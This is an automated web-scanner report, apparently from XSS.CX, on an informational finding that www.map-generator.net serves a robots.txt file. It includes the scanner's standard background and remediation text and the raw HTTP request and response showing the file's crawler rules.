Host:   http://www.map-generator.net
Path:   /extmap.php

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.map-generator.net

Response

HTTP/1.1 200 OK
Date: Wed, 27 Apr 2011 21:27:09 GMT
Server: Apache
Last-Modified: Sat, 15 Jan 2011 11:27:30 GMT
ETag: "2a1ece-f0-499e0d6175c6d"
Accept-Ranges: bytes
Content-Length: 240
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

# robots.txt fuer http://www.map-generator.net

User-agent: Slurp
Disallow: /

User-agent: *
Disallow: /

# Google feel free!
User-agent: googlebot
Disallow: /?en
Disallow: /contact.php
Disallow:

Us
...[SNIP]...

Report generated by XSS.CX at Thu Apr 28 14:16:47 CDT 2011.